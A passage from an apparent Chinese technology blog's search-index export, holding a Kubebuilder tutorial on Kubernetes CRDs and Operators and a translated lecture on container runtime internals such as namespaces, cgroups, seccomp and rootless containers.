CronTab,执行 kubectl get crontab 就可以查询到我们自定义的 CronTab 列表。 通过 CRD 自定义资源的优点是,我们无需操心自定义资源的数据存储,也无需再额外实现一个 http server 去对外暴露操作这些自定义资源的 API 接口,因为这些 k8s 都帮我们做好了,我们只需要像其它内置资源一样使用自定义资源即可。 但是!只有 CRD 往往是不够的,例如上文中我们执行 kubectl apply -f my-crontab.yaml 创建了一个 crontab 自定义资源,但是这个 crontab 不会有任何执行的内容(不会跑任何程序),而很多场景下我们是希望自定义资源能够执行点什么。这个时候我们就需要 Operator 了。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:1:0","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"Operator Operator 其实就是 custom resource controller(自定义资源的控制器),它干的事情就是监听自定义资源的变更,然后针对性地做一些操作。例如,监听到某个自定义资源被创建后,Operator 可以读取这个自定义资源的属性然后创建一个 pod 去运行具体的程序,并将这个 pod 绑定到自定义资源对象上。 那 Operator 以何种方式存在呢?其实它跟普通的服务一样,可以是 deployment,也可以是 statefuleSet。 至于常说的 Operator pattern 其实就是 CRD + custom controller 这种模式。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:2:0","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"Kubebuilder 我们在构建项目时常常希望有一个好用的框架,能够提供一系列工具帮助开发者更轻松地进行创建、测试和部署。而针对 CRD 和 Operator 的场景就有这么一个框架 Kubebuilder。 接下来我将会使用 Kubebuilder 创建一个小项目,其中会创建一个自定义资源 Foo ,并在 controller 中监听这个资源的变更并把它打印出来。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:0","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"1. 安装 # download kubebuilder and install locally. curl -L -o kubebuilder \"https://go.kubebuilder.io/dl/latest/$(go env GOOS)/$(go env GOARCH)\" chmod +x kubebuilder \u0026\u0026 mv kubebuilder /usr/local/bin/ ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:1","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"2. 创建一个测试目录 mkdir kubebuilder-test cd kubebuilder-test ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:2","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"3. 初始化项目 kubebuilder init --domain mytest.domain --repo mytest.domain/foo ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:3","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"4. 定义 CRD 假设我们想要定义一个如下格式的 CRD: apiVersion: \"mygroup.mytest.domain/v1\" kind: Foo metadata: name: xxx spec: image: image msg: message 那么我们需要创建一个 CRD(本质上也是创建一个 API ): kubebuilder create api --group mygroup --version v1 --kind Foo 执行之后输入 y 确认生成,然后 kubebuilder 会帮我们自动创建一些目录和文件,其中: api/v1/foo_types.go 文件中定义了这个 CRD(也是 API)。 internal/controllers/foo_controller.go 文件则是控制 CRD 的业务逻辑。 由于自动生成的文件只是一个基本框架,我们需要按照自己的需求进行相应的修改。 a. 在代码中修改 CRD 的结构 首先,修改 api/v1/foo_types.go 调整 CRD 的结构(注意不要删除 //+kubebuilder 这种注释): // FooSpec defines the desired state of Foo type FooSpec struct { Image string `json:\"image\"` Msg string `json:\"msg\"` } // FooStatus defines the observed state of Foo type FooStatus struct { PodName string `json:\"podName\"` } b. 通过命令自动生成 CRD yaml 执行 make manifests 命令之后,kubebuilder 就会在 config/crd/bases 目录下生成一个 mygroup.mytest.domain_foos.yaml 文件,这个文件就是我们定义 CRD 的 yaml 文件: --- apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition metadata: annotations: controller-gen.kubebuilder.io/version: v0.13.0 name: foos.mygroup.mytest.domain spec: group: mygroup.mytest.domain names: kind: Foo listKind: FooList plural: foos singular: foo scope: Namespaced versions: - name: v1 schema: openAPIV3Schema: description: Foo is the Schema for the foos API properties: apiVersion: description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' type: string kind: description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' type: string metadata: type: object spec: description: FooSpec defines the desired state of Foo properties: image: type: string msg: type: string required: - image - msg type: object status: description: FooStatus defines the observed state of Foo properties: podName: type: string required: - podName type: object type: object served: true storage: true subresources: status: {} make manifests 指令执行的具体内容定义在了 Makefile 文件中: .PHONY: manifests manifests: controller-gen ## Generate WebhookConfiguration, ClusterRole and CustomResourceDefinition objects. $(CONTROLLER_GEN) rbac:roleName=manager-role crd webhook paths=\"./...\" output:crd:artifacts:config=config/crd/bases 从中可以看到其实 kubebuilder 使用了 controller-gen 工具去扫描代码中特定格式的注释(如 //+kubebuilder:...)进而生成的 CRD yaml 文件。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:4","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"5. 补充 controller 逻辑 假设我们要监听用户创建的自定义资源 Foo 然后把它的属性打印出来。 a. 修改 controller 补充业务逻辑 修改 internal/controllers/foo_controller.go 文件补充我们自己的业务逻辑,如下: func (r *FooReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { l := log.FromContext(ctx) // 补充业务逻辑 foo := \u0026mygroupv1.Foo{} if err := r.Get(ctx, req.NamespacedName, foo); err != nil { l.Error(err, \"unable to fetch Foo\") return ctrl.Result{}, client.IgnoreNotFound(err) } // 打印 Foo 属性 l.Info(\"Received Foo\", \"Image\", foo.Spec.Image, \"Msg\", foo.Spec.Msg) return ctrl.Result{}, nil } // SetupWithManager sets up the controller with the Manager. func (r *FooReconciler) SetupWithManager(mgr ctrl.Manager) error { return ctrl.NewControllerManagedBy(mgr). For(\u0026mygroupv1.Foo{}). Complete(r) } b. 进行测试 注意:测试需要有本地或远程的 k8s 集群环境,其将会默认使用跟当前 kubectl 一致的环境。 执行 make install 注册 CRD ,从 Makefile 中可以看到其实际执行了如下指令: .PHONY: install install: manifests kustomize ## Install CRDs into the K8s cluster specified in ~/.kube/config. $(KUSTOMIZE) build config/crd | $(KUBECTL) apply -f - 执行 make run 运行 controller,从 Makefile 中可以看到其实际执行了如下指令: .PHONY: run run: manifests generate fmt vet ## Run a controller from your host. go run ./cmd/main.go 然后可以看到如下输出: ... go fmt ./... go vet ./... go run ./cmd/main.go 2023-12-19T15:14:18+08:00 INFO setup starting manager 2023-12-19T15:14:18+08:00 INFO controller-runtime.metrics Starting metrics server 2023-12-19T15:14:18+08:00 INFO starting server {\"kind\": \"health probe\", \"addr\": \"[::]:8081\"} 2023-12-19T15:14:18+08:00 INFO controller-runtime.metrics Serving metrics server {\"bindAddress\": \":8080\", \"secure\": false} 2023-12-19T15:14:18+08:00 INFO Starting EventSource {\"controller\": \"foo\", \"controllerGroup\": \"mygroup.mytest.domain\", \"controllerKind\": \"Foo\", \"source\": \"kind source: *v1.Foo\"} 2023-12-19T15:14:18+08:00 INFO Starting Controller {\"controller\": \"foo\", \"controllerGroup\": \"mygroup.mytest.domain\", \"controllerKind\": \"Foo\"} 2023-12-19T15:14:19+08:00 INFO Starting workers {\"controller\": \"foo\", \"controllerGroup\": \"mygroup.mytest.domain\", \"controllerKind\": \"Foo\", \"worker count\": 1} 我们提交一个 foo.yaml 试试: apiVersion: \"mygroup.mytest.domain/v1\" kind: Foo metadata: name: test-foo spec: image: test-image msg: test-message 执行 kubectl apply -f foo.yaml 之后我们就会在 controller 的输出中看到 foo 被打印了出来: 2023-12-19T15:16:00+08:00 INFO Received Foo {\"controller\": \"foo\", \"controllerGroup\": \"mygroup.mytest.domain\", \"controllerKind\": \"Foo\", \"Foo\": {\"name\":\"test-foo\",\"namespace\":\"aries\"}, \"namespace\": \"aries\", \"name\": \"test-foo\", \"reconcileID\": \"8dfd629e-3081-4d40-8fc6-bcc3e81bbb39\", \"Image\": \"test-image\", \"Msg\": \"test-message\"} 这就是使用 kubebuilder 的一个简单示例。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:5","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"总结 Kubernetes 的 CRD 和 Operator 机制为用户提供了强大的扩展性。CRD 允许用户自定义资源,而 Operators 则可以管理这些资源。正是这种扩展机制为 Kubernetes 生态系统提供了极大的灵活性和可塑性,使得它可以更广泛的应用于各种场景中。 参考资料: https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/ https://kubernetes.io/docs/concepts/extend-kubernetes/operator/ https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/ https://book.kubebuilder.io/introduction ","date":"2023-12-19","objectID":"/k8s-crd-operator/:4:0","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"容器运行时的内部结构和最新趋势(2023)","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"容器运行时的内部结构和最新趋势(2023) 原文为 Akihiro Suda 在日本京都大学做的在线讲座,完整的 PPT 可 点击此处下载 本文内容分为以下三个部分: 容器简介 容器运行时的内部结构 容器运行时的最新趋势 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:0:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"1. 容器简介 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"什么是容器? 容器是一组用于隔离文件系统、CPU 资源、内存资源、系统权限等的各种轻量级方法。容器在很多意义上类似于虚拟机,但它们比虚拟机更高效,而安全性则往往低于虚拟机。 有趣的是,“容器”目前还没有严格的定义。当虚拟机提供类似容器的接口时,例如,当它们实现 OCI(开放容器)规范 时,甚至虚拟机也可以被称为“容器”。这种“非容器”的容器将在后面的第三部分中讨论。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:1","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker Docker 是最流行的容器引擎。Docker 本身支持 Linux 容器和 Windows 容器,但 Windows 容器不在本次讨论的范围之内。 启动 Docker 容器的典型命令行如下: docker run -p 8080:80 -v .:/usr/share/nginx/html nginx:1.25 执行该命令后,可以在 http://\u003cthe host’s IP\u003e:8080/ 中看到当前目录下 index.html 的内容。 命令中的 -p 8080:80 部分指定将主机的 TCP 8080 端口转发到容器的 80 端口。 命令中的 -v .:/usr/share/nginx/html 部分指定将主机上的当前目录挂载到容器中的 /usr/share/nginx/html。 命令中的 nginx:1.25 指定使用 Docker Hub 上的 官方 nginx 镜像。Docker 镜像与虚拟机镜像有些相似,但是它们通常不包含额外的诸如 systemd 和 sshd 等守护进程。 您也可以在 Docker Hub 上找到其他应用程序的官方镜像。您还可以使用称为 Dockerfile 的语言自行构建自己的镜像: FROM debian:12 RUN apt-get update \u0026\u0026 apt-get install -y openjdk-17-jre COPY myapp.jar /myapp.jar CMD [\"java\", \"-jar\", \"/myapp.jar\"] 可以使用 docker build 命令构建镜像,并使用 docker push 命令将其推送到 Docker Hub 或其它镜像仓库。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:2","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Kubernetes Kubernetes 将多个容器主机(例如(但不限于)Docker 主机)集群化,以提供负载平衡和容错功能。 值得注意的是,Kubernetes 也是一个抽象框架,用于与 Pods(始终在同一主机上共同调度的容器组)、Services(网络连接实体)和 其它类型的对象 进行交互,但是本次演讲不会深入介绍 kubernetes。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:3","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 与 Docker 之前的容器 虽然容器直到 2013 年 Docker 发布才受到太多关注,但 Docker 并不是第一个容器平台: 1999:FreeBSD Jail 2000:Linux 虚拟环境系统(Virtuozzo 和 OpenVZ 的前身) 2001:Linux Vserver 2002:Virtuozzo 2004:BSD Jail for Linux 2004:Solaris Containers(显然,“容器”这个词就是这次创造的) 2005:OpenVZ 2008:LXC 2013:Docker 人们普遍认为 FreeBSD Jail(大约 1999 年)是类 Unix 操作系统的第一个实用容器实现,尽管“容器”这个术语并不是在那时创造的。 从那时起,Linux 上也出现了几种实现。然而,Docker 之前的容器与 Docker 容器有本质上的不同。前者专注于模仿整个机器,其中包含 System V init、sshd、syslogd 等。当时经常将 Web 服务器、应用服务器、数据库服务器和所有内容放入一个容器中。 Docker 改变了整个范式。就 Docker 而言,一个容器通常只包含一个服务,因此容器可以是无状态且不可变的。这种设计显着降低了维护成本,因为容器现在是一次性的;当需要更新某些内容时,您只需删除容器并从最新镜像重新创建它即可。您也不再需要在容器内安装 sshd 和其他实用程序,因为您永远不需要对其进行 shell 访问。这也简化了多主机集群的负载平衡和容错。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:1:4","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"2. 容器运行时的内部结构 本节假设使用 Docker v24 及其默认配置,但大多数部分也适用于非 Docker 容器。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 底层 Docker 由客户端程序(docker CLI)和守护进程(dockerd)组成。docker CLI 通过 Unix 套接字 (/var/run/docker.sock) 连接到 dockerd 守护进程来创建容器。 然而,dockerd 守护进程本身并不创建容器,它将控制权委托给 containerd 守护进程来创建容器。但 containerd 也不创建容器,而是进一步将控制权委托给 runc 运行时,它包含了多个 Linux 内核功能,例如 Namespaces、Cgroups 和 Capabilities,以实现“容器”的概念。Linux 内核中并没有“容器”对象。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:1","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Namespace 命名空间 Namespace 命名空间 将资源与主机和其他容器隔离。 最知名的命名空间是 mount namespace。Mount 命名空间隔离文件系统视图,以便容器可以使用 pivot_root(2) 系统调用将 rootfs 更改为 /var/lib/docker/.../\u003ccontainer's rootfs\u003e。该系统调用类似于传统的 chroot(2) 但 更安全。 容器的 rootfs 与主机的结构非常相似,但它对 /proc、/sys 和 /dev 有一些限制。例如, /proc/sys 目录被重新挂载为只读绑定以禁止 sysctl。 通过挂载 /dev/null 来屏蔽 /proc/kcore 文件(RAM)。 通过挂载空的只读 tmpfs 来屏蔽 /sys/firmware 目录(固件数据)。 对 /dev 目录的访问受到 Cgroup 的限制(稍后讨论)。 Network namespace 允许为容器分配专用 IP 地址,以便它们可以通过 IP 相互通信。 PID namespace 隔离进程树,以便容器无法控制其外部的进程。 User namespace(不要与用户空间 混淆)通过将主机上的非 root 用户映射到容器中的伪 root 来隔离 root 权限。伪 root 可以像容器中的root 一样运行 apt-get、dnf 等,但它没有对容器外部资源的特权访问。 用户命名空间显着减轻了潜在的容器突破攻击,但 Docker 中默认不使用它。 其他命名空间: IPC命名空间:隔离 System V 进程间通信对象等。 UTS 命名空间:隔离主机名。“UTS”(Unix Time Sharing system)似乎对这个命名空间来说是个用词不当的称呼。 (可选)Cgroup 命名空间:隔离 /sys/fs/cgroup 层次结构。 (可选)Time 命名空间:隔离时钟。大多数容器尚未使用。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:2","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Cgroups Cgroups(控制组)施加多种资源配额,例如 CPU 使用率、内存使用率、block I/O 以及容器中的进程数量。 Cgroup 还控制对设备节点的访问。Docker默认配置 允许无限制访问 /dev/null、/dev/zero、/dev/urandom 等,不允许访问 /dev/sda(磁盘设备)、/dev/mem(内存)等。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:3","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Capabilities 在 Linux 上,root 权限由 64-bit capability 标记。目前使用了 41 位。 Docker 的默认配置删除了系统范围的管理功能,例如 CAP_SYS_ADMIN。 保留的能力包括: CAP_CHOWN:用于在容器内运行 chown。 CAP_NET_BIND_SERVICE:用于绑定容器内 1024 以下的 TCP 和 UDP 端口。 CAP_NET_RAW:用于运行需要制作原始以太网数据包的旧版 ping 实现。这种功能非常危险,因为它允许在容器网络中进行ARP 欺骗和 DNS 欺骗。Docker 的未来版本可能会默认禁用它。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:4","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"(可选)Seccomp Seccomp(安全计算)允许指定系统调用的显式允许列表(或拒绝列表)。Docker 的默认配置允许大约 350 个系统调用。 Seccomp 用于纵深防御;对于容器来说这并不是硬性要求。为了向后兼容,Kubernetes 仍然默认不使用 seccomp,并且在可预见的将来可能永远不会改变默认配置。用户仍然可以通过 KubeletConfiguration 选择启用 seccomp 。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:5","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"(可选)AppArmor 或 SELinux AppArmor 和 SELinux(安全增强型 Linux)是 LSM(Linux 安全模块),可提供更细粒度的配置旋钮。 这些是相互排斥的;由主机操作系统发行商(而不是容器镜像发行商)选择: AppArmor:Debian、Ubuntu、SUSE 等选择的。 SELinux:由 Fedora、Red Hat Enterprise Linux 和类似的主机操作系统发行版选择。 为了进行纵深防御,Docker 的 默认 AppArmor 配置文件 几乎与其功能、挂载掩码等默认配置重叠。用户可以添加自定义设置以提高安全性。 但 SELinux 的情况则不同。要在 selinux-enabled 模式下运行容器,您必须在绑定挂载上附加选项 :z(小写字符)或 :Z(大写字符),或者自己运行复杂的 chcon 命令避免权限错误。 :z(小写字符)选项用于类型强制。类型强制通过为进程和文件分配“类型”来保护主机文件免受容器的影响。以 container_t 类型运行的进程可以读取 container_share_t 类型的文件,并读/写 container_file_t 类型的文件,但无法访问其他类型的文件。 :Z(大写字符)选项用于多类别安全性。多类别安全性通过为进程和文件分配类别号来保护一个容器免受另一个容器的影响。例如,类别 42 的进程无法访问标记为类别 43 的文件。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:6","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"适用于 Mac/Win 的 Docker Docker Desktop 产品支持在 Mac 和 Windows 上运行 Linux 容器,但它们只是在底层运行 Linux 虚拟机来在其上运行容器。这些容器不直接在 macOS 和 Windows 上运行。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:2:7","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"3.容器运行时的最新趋势 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:0","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 的替代品(作为 Kubernetes 运行时) Kubernetes 的第一个版本(2014 年)是专门为 Docker 制作的。Kubernetes v1.3 (2016) 添加了对名为 rkt 的替代容器运行时的临时支持,但 rkt 已于2019 年退役。支持替代容器运行时的努力在 Kubernetes v1.5 (2016) 中产生了容器运行时接口 CRI API。CRI 首次亮相后,业界已趋同于使用 containerd 和 CRI-O 这两种运行时其中之一:。 Kubernetes 仍然内置了对 Docker 的支持,但最终在 Kubernetes v1.24(2022年)中被删除。Docker 仍然继续作为第三方运行时为 Kubernetes 工作(通过 cri-dockerd shim),但 Docker 现在在 Kubernetes 中的使用率越来越低。 业界知名大厂已经从 Docker 转向了 containerd 或者 CRI-O: containerd 的采用者:Amazon Elastic Kubernetes Service (EKS)、Azure Kubernetes Service (AKS)、Google Kubernetes Engine (GKE)、k3s 等(很多)。 CRI-O 的采用者:Red Hat OpenShift、Oracle Container Engine for Kubernetes (OKE) 等。 Containerd 注重可扩展性,支持非 Kubernetes 工作负载以及 Kubernetes 工作负载。相比之下,CRI-O 注重简单性,并且仅支持 Kubernetes。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:1","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 的替代方案(作为 CLI) 尽管 Kubernetes 已成为多节点生产集群的标准,但用户仍然希望使用类似 Docker 的 CLI 在笔记本电脑上本地构建和测试容器。Docker 基本上满足了这个需求,但是社区中的运行时开发人员希望构建自己的“实验室”CLI,以先于 Docker 和 Kubernetes 孵化新功能,因为通常很难向 Docker 和 Kubernetes 提出新功能,由于一些技术/技术因素原因。 Podman(以前称为 kpod )是由 Red Hat 等公司创建的兼容 Docker 的独立容器引擎。它与 Docker 的主要区别在于它默认没有守护进程。此外,Podman 的独特之处在于它为管理 Pod(共享相同网络命名空间的容器组,通常共享同一主机上的数据卷以实现高效通信)以及容器提供一流的支持。然而,大多数用户似乎只将 Podman 用于非 Pod 容器。 nerdctl(我于 2020 年创立)是一个适用于 containerd 的兼容 Docker 的 CLI。nerdctl 最初是为了试验新功能,例如延迟拉取(稍后讨论),但它对于调试运行 containerd 的 Kubernetes 节点也很有用。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:2","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"在 Mac 上运行容器 Docker Desktop 的 Mac 和 Windows 产品是专有的。Windows 用户可以在 WSL2 中运行 Docker 的 Linux 版本(Apache License 2.0,无图形界面),但迄今为止,Mac 用户还没有相应的解决方案。 Lima(也是我于 2021 年创立的)是一个命令行工具,用于在 macOS 上创建类似 WSL2 的环境来运行容器。Lima 默认使用 nerdctl,但它也支持 Docker 和 Podman。 Lima 还被 colima (2021)、Rancher Desktop (2021) 和 Finch (2022)等第三方项目采用。 Podman 社区发布了 Podman Machine(命令行工具,2021 年)和 Podman Desktop(GUI,2022 年)作为 Docker Desktop 的替代品。Podman Desktop 也支持 Lima(可选)。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:3","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Docker 正在重构 containerd 主要提供两个子系统:运行时子系统和镜像子系统。然而,后者并未被Docker使用。这是一个问题,因为 Docker 自身的传统镜像子系统远远落后于 containerd 的现代镜像子系统(这也导致我启动了nerdctl项目): 不支持 lazy-pulling 惰性拉取(按需镜像拉取) 对多平台镜像的有限支持(例如 AMD64/ARM64 双平台镜像) OCI 规范的有限合规性 这个长期存在的问题终于得到解决。Docker v24 (2023) 在 /etc/docker/daemon.json 中添加了对使用 containerd 的镜像子系统和 undocumented option 的实验性支持: {\"features\":{\"containerd-snapshotter\": true}} Docker 的未来版本(2024?2025?)很可能默认使用 containerd 的镜像子系统。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:4","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Lazy-pulling 惰性拉取 容器镜像中的大多数文件从未被使用: “拉取包占容器启动时间的 76%,但其中只有 6.4% 的数据被读取” 摘自“ Slacker:使用 Lazy Docker 容器进行快速分发”(Harter 等人,FAST 2016) “惰性拉取”是一种通过按需拉取部分镜像内容来减少容器启动时间的技术。对于 OCI 标准 tar.gz 镜像 来说这是不可能的,因为它们不支持 seek() 操作。人们提出了几种替代格式来支持惰性拉取: eStargz (2019) :优化 seek() 能力的 gzip 粒度;向前兼容 OCI v1 tar.gz。 SOCI (2022):捕获 tar.gz 解码器状态的检查点;向前兼容 OCI v1 tar.gz。 Nydus (2022):另一种图像格式; 与 OCI v1 tar.gz 不兼容。 OverlayBD (2021):将块设备作为容器镜像;与 OCI v1 tar.gz 不兼容。 下图显示了 eStargz 的基准测试结果。惰性拉动(+额外优化)可以将容器启动时间减少到 1/9。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:5","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"扩大 User namespace 的采用 尽管 Docker 自 v1.9(2015)以来一直支持用户命名空间,但在 Docker 和 Kubernetes 生态系统中仍然很少使用。 原因之一是 “chowning” 容器 rootfs 作为伪根的复杂性和开销。Linux 内核 v5.12 (2021) 添加了 “idmapped mounts” 以消除 chown 的必要性。计划在 runc v1.2 中支持这一点。 runc v1.2 发布后,用户命名空间预计将在 Docker 和 Kubernetes 中更加流行,而 Docker 和 Kubernetes 刚刚在 v1.25(2022)中添加了对用户命名空间的 初步支持。出于兼容性考虑,Kubernetes 不太可能默认启用用户命名空间。然而,Docker 将来 仍有可能默认启用用户命名空间。不过,一切还没有决定。 ","date":"2023-07-11","objectID":"/the-internals-and-the-latest-trends-of-container-runtimes/:3:6","tags":["Container","Docker","Kubernetes"],"title":"容器运行时的内部结构和最新趋势(2023)","uri":"/the-internals-and-the-latest-trends-of-container-runtimes/"},{"categories":["Kubernetes"],"content":"Rootless 容器 Rootless 容器 是一种将容器运行时以及容器放置在由非 root 用户创建的用户命名空间中的技术,以减轻运行时的潜在漏洞。 即使容器运行时存在允许攻击者逃离容器的错误,攻击者也无法拥有对其他用户的文件、内核、固件和设备的特权访问权限。 以下是 rootless 容器的简史: 2014:LXC v1.0 引入了对 rootless 容器的支持。当时 rootless 容器被称为“非特权容器”。LXC 的非特权容器与现代 rootless 容器略有不同,因为它们需要 SETUID 二进制文件 来 启动网络。 2017:runc v1.0-rc4 获得对 rootless容器的初步支持。 2018:一些工具已经开始支持,containerd、BuildKit(docker build的后端)、Docker、Podman。slirp4netns 被我自己创建,以通过转换以太网来允许 SETUID-less 网络数据包发送至非特权套接字系统调用。 2019:Docker v19.03 发布,对 rootless 容器提供实验性支持。Podman v1.1 也在今年发布,具有相同的功能,略领先于 Docker v19.03。 2020:Docker v20.10 发布,rootless 容器全面可用。 从 2020 年到 2022 年,我们还致力于 bypass4netns,通过在容器内挂钩套接字文件描述符并在容器外重建它们来消除 slirp4netns 的开销。所实现的吞吐量甚至比 “rootful” 容器更快。 Rootless 容器已经成功普及,但也有人对 rootless 容器提出批评。特别是,是否应该允许非root用户创建运行无根容器所需的用户命名空间是有争议的。对于容器用户,我的回答是“是”,因为无根容器至少比以根身份运行所有内容要安全得多。但是,对于不使用容器的人,我宁愿回答“否”,因为用户命名空间也可能是攻击面。例如,CVE-2023–32233 漏洞:“Privilege escalation in Linux Kernel due to a Netfilter 